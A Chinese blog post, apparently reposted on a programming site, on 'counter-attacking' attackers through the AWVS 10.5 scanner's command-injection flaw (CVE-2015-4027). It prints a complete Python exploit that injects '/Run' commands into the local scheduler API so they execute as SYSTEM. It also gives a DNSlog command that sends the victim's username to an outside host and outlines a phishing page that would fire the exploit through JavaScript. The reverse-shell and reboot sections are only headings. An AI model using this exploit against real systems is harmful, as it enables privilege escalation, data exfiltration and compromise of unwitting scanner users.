嗨喽,欢迎来到到我的世界

嗨喽,欢迎来到到我的世界目录 awvs10 5 安装 命令执行 进一步利用 重启系统 反弹 shell 首先 在渗透的时候 很多人会开各种扫描器收集一波信息 在国内用的最多最平常的扫描器应该是 AWVS 系列 这篇文章写得就是利用 AWVS 的一个漏洞去反制攻击者 仅提供一个思路进行参考 这里利用的是 AWVS 10 被爆出一个本地权限提升漏洞 CVE 2015 4027 漏洞详情及 POC https www

目录

awvs10.5安装

命令执行

进一步利用

重启系统

反弹shell

----

首先,在渗透的时候,很多人会开各种扫描器收集一波信息,在国内用的最多最平常的扫描器应该是AWVS系列。这篇文章写得就是利用AWVS的一个漏洞去反制攻击者,仅提供一个思路进行参考。

这里利用的是AWVS 10被爆出一个本地权限提升漏洞(CVE-2015-4027),漏洞详情及POC:https://www.exploit-db.com/exploits/38847/

实验系统:win7 sp1

awvs:10.5

awvs10.5安装

首先我们先下载awvs 10.5,参考:http://www.32r.com/soft/12986.html

漏洞分析

漏洞是出现在AWVS 10 的一个任务调度的API上。在AWVS 10.x 被安装后,系统会默认安装一个叫做“AcuWVSSchedulerv10”的自启动服务,这个服务是跑在system权限下的。他会监听本地的8183端口,用户可以通过它直接调用接口来给awvs添加新的扫描任务。

如下图所示,通过访问http://127.0.0.1:8183即可完成扫描任务的添加删除和进度查看。

在添加任务时,参数里有一项为reporttemplate ,他的作用是选择扫描结束生成报告时所用的模板,研究发现这个参数会被带入WVS的命令行执行。由于系统没有对用户的输入做检查,导致我们可以通过reporttemplate带入任意的参数,形成了命令注入。

通过查看awvs的官方文档:https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/

发现wvs命令行下有一个参数为/run,通过它可以执行系统任意命令。因此我们可以使用这个参数获得一个system权限的命令执行。

这里我对原poc进行一个修改,修改为python3

#import httplib
import requests
import json
from datetime import datetime
import sys
import os
from time import gmtime, strftime
url = "http://127.0.0.1:8183/api/addScan"


if len(sys.argv) > 1:
COMMAND = sys.argv[1]
pass
else:
print('请输入想要执行的命令参数: python xx.py "command"')
os._exit(0)
ACUHOST = '127.0.0.1'
ACUPORT = 8183
ACUHEADERS = {
"Content-Type": "application/json; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Accept": "application/json, text/javascript, */*; q=0.01",
"RequestValidated": "true"
}
ACUEXPLOIT = "/Crawl http://www.google.it /Run \""+ COMMAND + "\""
ACUDATA = {"scanType":"scan",
"targetList":"",
"target":["http://"+"A"*2048],
"recurse":"-1",
"date":strftime("%m/%d/%Y", gmtime()),
"dayOfWeek":"1",
"dayOfMonth":"1",
"time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1),
"deleteAfterCompletion":"False",
"params":{"profile":"Default",
"loginSeq":"",
"settings":"Default",
"scanningmode":"heuristic",
"excludedhours":"",
"savetodatabase":"True",
"savelogs":"False",
"generatereport":"False",
"reportformat":"PDF",
"reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT,
"emailaddress":""}
}

def sendExploit():
"""conn = httplib.HTTPConnection(ACUHOST, ACUPORT)
conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS)
resp = conn.getresponse()
return "%s %s" % (resp.status, resp.reason)"""
re = requests.post(url=url,headers=ACUHEADERS,data=json.dumps(ACUDATA))
print(re.status_code,re.text)
print ("Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n")
print ("[+] Command : %s will be executed as SYSTEM" % COMMAND)
print ("[+] Sending exploit...")
sendExploit()
print ("[+] Done!")

这个payload其实就是模仿的一个添加任务的一个请求,这里可以使用proxychains对poc进行流量的截取查看

命令执行

我们把这个poc进行执行

1. DNSlog探测

首先在dnslog平台获取一个子域,http://www.dnslog.cn/

执行python脚本,我们发现此时立即添加了一个扫描任务,任务是在一分钟后执行

一分钟后刷新dnslog,发现命令被执行了

2.dnslog回显系统信息

dnslog结合Windows系统变量回显系统信息

python 1.py "ping %USERNAME%.8mszqz.dnslog.cn"

进一步利用

然后思考,可不可以在网页中写入js代码,然后js中放入我们的poc,将poc用js的方式进行提交。这里将原作者的js代码进行一个修改,因为我用其提供的js代码并不能执行成功,修改的js代码如下。写先一个简单的HTML页面

重启系统





钓鱼网站
嗨喽,欢迎来到到我的世界



编程小号
上一篇 2025-04-05 15:57
下一篇 2025-04-21 19:30

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/hz/125878.html